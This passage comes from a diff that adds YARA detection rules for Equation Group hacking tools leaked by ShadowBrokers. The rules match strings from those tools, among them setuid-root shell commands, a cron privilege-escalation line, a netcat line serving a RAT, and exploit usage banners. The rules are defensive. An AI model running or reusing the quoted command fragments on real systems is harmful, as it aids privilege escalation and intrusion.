+      description = "Equation Group hack tool leaked by ShadowBrokers- file ys.ratload.sh"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "a340e5b5cfd41076bd4d6ad89d7157eeac264db97a9dddaae15d935937f10d75"
+      id = "abd120e7-23f8-530e-b21e-c50a2b571332"
+   strings:
+      $x1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -x 9999\"" fullword ascii
+      $x2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
+      $x3 = "CALLBACK_PORT=32177" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 3KB and 1 of them )
+}
+
+rule EquationGroup_eh_1_1_0 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file eh.1.1.0.0"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "0f8dd094516f1be96da5f9addc0f97bcac8f2a348374bd9631aa912344559628"
+      id = "a6f0ec1f-b0e5-5913-970d-9cdadf647c44"
+   strings:
+      $x1 = "usage: %s -e -v -i target IP [-c Cert File] [-k Key File]" fullword ascii
+      $x2 = "TYPE=licxfer&ftp=%s&source=/var/home/ftp/pub&version=NA&licfile=" ascii
+      $x3 = "[-l Log File] [-m save MAC time file(s)] [-p Server Port]" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_evolvingstrategy_1_0_1 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file evolvingstrategy.1.0.1.1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "fe70e16715992cc86bbef3e71240f55c7d73815b4247d7e866c845b970233c1b"
+      id = "465f709b-1791-5b36-836b-7a0c08bb9b88"
+   strings:
+      $s1 = "chown root sh; chmod 4777 sh;" fullword ascii
+      $s2 = "cp /bin/sh .;chown root sh;" fullword ascii
+
+      $l1 = "echo clean up when elevated:" fullword ascii
+
+      $x1 = "EXE=$DIR/sbin/ey_vrupdate" fullword ascii
+   condition:
+      ( filesize < 4KB and 1 of them )
+}
+
+rule EquationGroup_toast_v3_2_0 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file toast_v3.2.0.1-linux"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "2ce2d16d24069dc29cf1464819a9dc6deed38d1e5ffc86d175b06ddb691b648b"
+      id = "776014ae-be94-5d81-bceb-fefb67ee1994"
+   strings:
+      $x2 = "Del --- Usage: %s -l file -w wtmp -r user" fullword ascii
+      $s5 = "Roasting ->%s<- at ->%d:%d<-" ascii
+      $s6 = "rbnoil -Roasting ->" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 50KB and 1 of them )
+}
+
+rule EquationGroup_sshobo {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file sshobo"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "c7491898a0a77981c44847eb00fb0b186aa79a219a35ebbca944d627eefa7d45"
+      id = "b9392aec-34a8-5ad2-b3fd-eea907d19701"
+   strings:
+      $x1 = "Requested forwarding of port %d but user is not root." fullword ascii
+      $x2 = "internal error: we do not read, but chan_read_failed for istate" fullword ascii
+      $x3 = "~#  - list forwarded connections" fullword ascii
+      $x4 = "packet_inject_ignore: block" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 600KB and all of them )
+}
+
+rule EquationGroup_magicjack_v1_1_0_0_client_1_1_0_0 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file magicjack_v1.1.0.0_client-1.1.0.0.py"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
+      id = "008cb5cf-1d2d-5312-9474-2f93db190974"
+   strings:
+      $x1 = "result = self.send_command(\"ls -al %s\" % self.options.DIR)" fullword ascii
+      $x2 = "cmd += \"D=-l%s \" % self.options.LISTEN_PORT" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 80KB and 1 of them )
+}
+
+rule EquationGroup_packrat {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file packrat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "d3e067879c51947d715fc2cf0d8d91c897fe9f50cae6784739b5c17e8a8559cf"
+      id = "4c0619c4-728f-591f-aa02-7c28f1f42fd1"
+   strings:
+      $x2 = "Use this on target to get your RAT:" fullword ascii
+      $x3 = "$ratremotename && " fullword ascii
+      $x5 = "$command = \"$nc$bindto -vv -l -p $port < ${ratremotename}\" ;" fullword ascii
+   condition:
+      ( filesize < 70KB and 1 of them )
+}
+
+rule EquationGroup_telex {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file telex"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "e9713b15fc164e0f64783e7a2eac189a40e0a60e2268bd7132cfdc624dfe54ef"
+      id = "23571734-869d-5d68-9339-d82f168c2e47"
+   strings:
+      $x1 = "usage: %s -l [ netcat listener ] [ -p optional target port instead of 23 ] <ip>" fullword ascii
+      $x2 = "target is not vulnerable. exiting" fullword ascii
+      $s3 = "Sending final buffer: evil_blocks and shellcode..." fullword ascii
+      $s4 = "Timeout waiting for daemon to die.  Exploit probably failed." fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 50KB and 1 of them )
+}
+
+rule EquationGroup_calserver {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file calserver"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "048625e9a0ca46d7fe221e262c8dd05e7a5339990ffae2fb65a9b0d705ad6099"
+      id = "abe935ee-8579-54f0-b6d3-172d6e2c0482"
+   strings:
+      $x1 = "usage: %s <host> <port> e <contents of a local file to be executed on target>" fullword ascii
+      $x2 = "Writing your %s to target." fullword ascii
+      $x3 = "(e)xploit, (r)ead, (m)ove and then write, (w)rite" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 30KB and 1 of them )
+}
+
+rule EquationGroup_porkclient {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file porkclient"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "5c14e3bcbf230a1d7e2909876b045e34b1486c8df3c85fb582d9c93ad7c57748"
+      id = "5b34d5f9-bc76-5cc7-92f7-32c2b7ef7bcf"
+   strings:
+      $s1 = "-c COMMAND: shell command string" fullword ascii
+      $s2 = "Cannot combine shell command mode with args to do socket reuse" fullword ascii
+      $s3 = "-r: Reuse socket for Nopen connection (requires -t, -d, -f, -n, NO -c)" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 30KB and 1 of them )
+}
+
+rule EquationGroup_electricslide {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file electricslide"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "d27814b725568fa73641e86fa51850a17e54905c045b8b31a9a5b6d2bdc6f014"
+      id = "5b1e5293-806a-58e6-b865-66025c8d8c32"
+   strings:
+      $x1 = "Firing with the same hosts, on altername ports (target is on 8080, listener on 443)" fullword ascii
+      $x2 = "Recieved Unknown Command Payload: 0x%x" fullword ascii
+      $x3 = "Usage: eslide   [options] <-t profile> <-l listenerip> <targetip>" fullword ascii
+      $x4 = "-------- Delete Key - Remove a *closed* tab" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 2000KB and 1 of them )
+}
+
+rule EquationGroup_libXmexploit2 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file libXmexploit2.8"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "d7ed0234d074266cb37dd6a6a60119adb7d75cc6cc3b38654c8951b643944796"
+      id = "30e94123-acc9-5185-9f5b-1f956c4cf3d1"
+   strings:
+      $s1 = "Usage: ./exp command display_to_return_to" fullword ascii
+      $s2 = "sizeof shellcode = %d" fullword ascii
+      $s3 = "Execve failed!" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 40KB and 1 of them )
+}
+
+rule EquationGroup_wrap_telnet {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file wrap-telnet.sh"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "4962b307a42ba18e987d82aa61eba15491898978d0e2f0e4beb02371bf0fd5b4"
+      id = "158e6ebc-6b43-5e94-9052-31408d848875"
+   strings:
+      $s1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -s 22223 -x 9999\"" fullword ascii
+      $s2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
+      $s3 = "echo \"Call back port2 = ${SPORT}\"" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 4KB and 1 of them )
+}
+
+rule EquationGroup_elgingamble {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file elgingamble"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "0573e12632e6c1925358f4bfecf8c263dd13edf52c633c9109fe3aae059b49dd"
+      id = "fc8a63a1-9deb-5051-a02d-ed26fd1cae95"
+   strings:
+      $x1 = "* * * * * root chown root %s; chmod 4755 %s; %s" fullword ascii
+      $x2 = "[-] kernel not vulnerable" fullword ascii
+      $x3 = "[-] failed to spawn shell: %s" fullword ascii
+      $x4 = "-s shell           Use shell instead of %s" fullword ascii
+   condition:
+      1 of them
+}
+
+rule EquationGroup_cmsd {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file cmsd"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "634c50614e1f5f132f49ae204c4a28f62a32a39a3446084db5b0b49b564034b8"
+      id = "9cdd3562-fed4-5b79-b056-049279404eeb"
+   strings:
+      $x1 = "usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]" fullword ascii
+      $x2 = "error: not vulnerable" fullword ascii
+
+      $s1 = "port=%d connected! " fullword ascii
+      $s2 = "xxx.XXXXXX" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 30KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule EquationGroup_ebbshave {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file ebbshave.v5"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "eb5e0053299e087c87c2d5c6f90531cc1946019c85a43a2998c7b66a6f19ca4b"
+      id = "6d4c14e2-afb1-57ce-91df-cb024258250e"
+   strings:
+      $s1 = "executing ./ebbnew_linux -r %s -v %s -A %s %s -t %s -p %s" fullword ascii
+      $s2 = "./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772" fullword ascii
+      $s3 = "version 1 - Start with option #18 first, if it fails then try this option" fullword ascii
+      $s4 = "%s is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 20KB and 1 of them ) or ( 2 of them )
+}
+
+rule EquationGroup_eggbasket {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file eggbasket"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "b078a02963610475217682e6e1d6ae0b30935273ed98743e47cc2553fbfd068f"
+      id = "3fb1388a-e6b8-5c7a-ad23-ddbfc9d33d56"
+   strings:
+      $x1 = "# Building Shellcode into exploit." fullword ascii
+      $x2 = "%s -w /index.html -v 3.5 -t 10 -c \"/usr/openwin/bin/xterm -d 555.1.2.2:0&\"  -d 10.0.0.1 -p 80" fullword ascii
+      $x3 = "# STARTING EXHAUSTIVE ATTACK AGAINST " fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 90KB and 1 of them ) or ( 2 of them )
+}
+
+rule EquationGroup_jparsescan {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file jparsescan"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
+      id = "6b6a884e-0bbc-54f5-bb6c-00e15ca95250"
+   strings:
+      $s1 = "Usage:  $prog [-f directory] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii
+      $s2 = "$gotsunos = ($line =~ /program version netid     address             service         owner/ );" fullword ascii
+   condition:
+      ( filesize < 40KB and 1 of them )
+}
+
+rule EquationGroup_sambal {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file sambal"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "2abf4bbe4debd619b99cb944298f43312db0947217437e6b71b9ea6e9a1a4fec"
+      id = "b02b442c-3e24-55f8-aa5c-926c3a3a75b4"
+   strings:
+      $s1 = "+ Bruteforce mode." fullword ascii
+      $s3 = "+ Host is not running samba!" fullword ascii
+      $s4 = "+ connecting back to: [%d.%d.%d.%d:45295]" fullword ascii
+      $s5 = "+ Exploit failed, try -b to bruteforce." fullword ascii
+      $s7 = "Usage: %s [-bBcCdfprsStv] [host]" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 90KB and 1 of them ) or ( 2 of them )
+}
+
+rule EquationGroup_pclean_v2_1_1_2 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file pclean.v2.1.1.0-linux-i386"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
+      id = "1b31af01-8c30-513a-a615-82dcb940e06d"
+   strings:
+      $s3 = "** SIGNIFICANTLY IMPROVE PROCESSING TIME" fullword ascii
+      $s6 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 40KB and all of them )
+}
+
+rule EquationGroup_envisioncollision {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file envisioncollision"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "75d5ec573afaf8064f5d516ae61fd105012cbeaaaa09c8c193c7b4f9c0646ea1"
+      id = "8d512d9a-45a5-514a-bee1-a364beeaf560"
+   strings:
+      $x1 = "mysql \\$D --host=\\$H --user=\\$U --password=\\\"\\$P\\\" -e \\\"select * from \\$T" fullword ascii
+      $x2 = "Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\\\"sleep 500|nc" fullword ascii
+      $s3 = "$ua->agent(\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");" fullword ascii
+      $s4 = "$url = $host . \"/admin/index.php?adsess=\" . $enter . \"&app=core&module=applications&section=hooks&do=install_hook\";" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 20KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule EquationGroup_cmsex {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file cmsex"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "2d8ae842e7b16172599f061b5b1f223386684a7482e87feeb47a38a3f011b810"
+      id = "9a1051a5-3f31-5fc2-85a0-beb2dea962d6"
+   strings:
+      $x1 = "Usage: %s -i <ip_addr/hostname> -c <command> -T <target_type> (-u <port> | -t <port>) " fullword ascii
+      $x2 = "-i target ip address / hostname " fullword ascii
+      $x3 = "Note: Choosing the correct target type is a bit of guesswork." fullword ascii
+      $x4 = "Solaris rpc.cmsd remote root exploit" fullword ascii
+      $x5 = "If one choice fails, you may want to try another." fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 50KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule EquationGroup_exze {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file exze"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "1af6dde6d956db26c8072bf5ff26759f1a7fa792dd1c3498ba1af06426664876"
+      id = "d452b952-0c4a-501b-93f5-064d13f2c08e"
+   strings:
+      $s1 = "shellFile" fullword ascii
+      $s2 = "completed.1" fullword ascii
+      $s3 = "zeke_remove" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 80KB and all of them )
+}
+
+rule EquationGroup_DUL {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file DUL"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "24d1d50960d4ebf348b48b4db4a15e50f328ab2c0e24db805b106d527fc5fe8e"
+      id = "6dd90b30-30cb-531c-b8e2-fc208b21e8e6"
+   strings:
+      $x1 = "?Usage: %s <shellcode> <output_file>" fullword ascii
+      $x2 = "Here is the decoder+(encoded-decoder)+payload" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 80KB and 1 of them ) or ( all of them )
+}
+
+rule EquationGroup_slugger2 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file slugger2"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "a6a9ab66d73e4b443a80a69ef55a64da7f0af08dfaa7e17eb19c327301a70bdf"
+      id = "3787a39e-0123-5b46-90c9-6b772b1fd96c"
+   strings:
+      $x1 = "usage: %s hostip port cmd [printer_name]" fullword ascii
+      $x2 = "command must be less than 61 chars" fullword ascii
+
+      $s1 = "__rw_read_waiting" ascii
+      $s2 = "completed.1" fullword ascii
+      $s3 = "__mutexkind" ascii
+      $s4 = "__rw_pshared" ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 50KB and ( 4 of them and 1 of ($x*) ) ) or ( all of them )
+}
+
+rule EquationGroup_ebbisland {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file ebbisland"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "eba07c98c7e960bb6c71dafde85f5da9f74fd61bc87793c87e04b1ae2d77e977"
+      id = "d30b9f26-c2c5-5ecb-9f63-e96017788e40"
+   strings:
+      $x1 = "Usage: %s [-V] -t <target_ip> -p port" fullword ascii
+      $x2 = "error - shellcode not as expected - unable to fix up" fullword ascii
+      $x3 = "WARNING - core wipe mode - this will leave a core file on target" fullword ascii
+      $x4 = "[-C] wipe target core file (leaves less incriminating core on failed target)" fullword ascii
+      $x5 = "-A <jumpAddr> (shellcode address)" fullword ascii
+      $x6 = "*** Insane undocumented incremental port mode!!! ***" fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_jackpop {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file jackpop"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "0b208af860bb2c7ef6b1ae1fcef604c2c3d15fc558ad8ea241160bf4cbac1519"
+      id = "7c650752-200b-51e7-95c2-4d385bfd5844"
+   strings:
+      $x1 = "%x:%d  --> %x:%d %d bytes" fullword ascii
+
+      $s1 = "client: can't bind to local address, are you root?" fullword ascii
+      $s2 = "Unable to register port" fullword ascii
+      $s3 = "Could not resolve destination" fullword ascii
+      $s4 = "raw troubles" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 30KB and 3 of them ) or ( all of them )
+}
+
+rule EquationGroup_parsescan {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file parsescan"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
+      id = "bbe8b518-2bf0-5de4-8fb8-9b8609d393dc"
+   strings:
+      $s1 = "$gotgs=1 if (($line =~ /Scan for (Sol|SNMP)\\s+version/) or" fullword ascii
+      $s2 = "Usage:  $prog [-f file] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_jscan {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file jscan"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "8075f56e44185e1be26b631a2bad89c5e4190c2bfc9fa56921ea3bbc51695dbe"
+      id = "c4cebc69-8ec8-5ad7-bd93-55565b3eb92b"
+   strings:
+      $s1 = "$scanth = $scanth . \" -s \" . $scanthreads;" fullword ascii
+      $s2 = "print \"java -jar jscanner.jar$scanth$list\\n\";" fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_promptkill {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file promptkill"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "b448204503849926be249a9bafbfc1e36ef16421c5d3cfac5dac91f35eeaa52d"
+      id = "e0749b10-fa5a-5d73-86e1-e2008e121674"
+   strings:
+      $x1 = "exec(\"xterm $xargs -e /current/tmp/promptkill.kid.$tag $pid\");" fullword ascii
+      $x2 = "$xargs=\"-title \\\"Kill process $pid?\\\" -name \\\"Kill process $pid?\\\" -bg white -fg red -geometry 202x19+0+0\" ;" fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_epoxyresin_v1_0_0 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file epoxyresin.v1.0.0.1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "eea8a6a674d5063d7d6fc9fe07060f35b16172de6d273748d70576b01bf01c73"
+      id = "390a13b0-3246-5bf7-8841-775a43045172"
+   strings:
+      $x1 = "[-] kernel not vulnerable" fullword ascii
+
+      $s1 = ".tmp.%d.XXXXXX" fullword ascii
+      $s2 = "[-] couldn't create temp file" fullword ascii
+      $s3 = "/boot/System.map-%s" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 30KB and $x1 ) or ( all of them )
+}
+
+rule EquationGroup_estopmoonlit {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file estopmoonlit"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "707ecc234ed07c16119644742ebf563b319b515bf57fd43b669d3791a1c5e220"
+      id = "7ae7a8b7-5e27-5604-8c57-6d60ffa0fb72"
+   strings:
+      $x1 = "[+] shellcode prepared, re-executing" fullword ascii
+      $x2 = "[-] kernel not vulnerable: prctl" fullword ascii
+      $x3 = "[-] shell failed" fullword ascii
+      $x4 = "[!] selinux apparently enforcing.  Continue [y|n]? " fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_envoytomato {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file envoytomato"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "9bd001057cc97b81fdf2450be7bf3b34f1941379e588a7173ab7fffca41d4ad5"
+      id = "d1a43c98-9448-5a03-824d-5cd8e959fbf5"
+   strings:
+      $s1 = "[-] kernel not vulnerable" fullword ascii
+      $s2 = "[-] failed to spawn shell" fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_smash {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file smash"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "1dc94b46aaff06d65a3bf724c8701e5f095c1c9c131b65b2f667e11b1f0129a6"
+      id = "9a8cb090-4f47-5674-accb-f233dbb19b71"
+   strings:
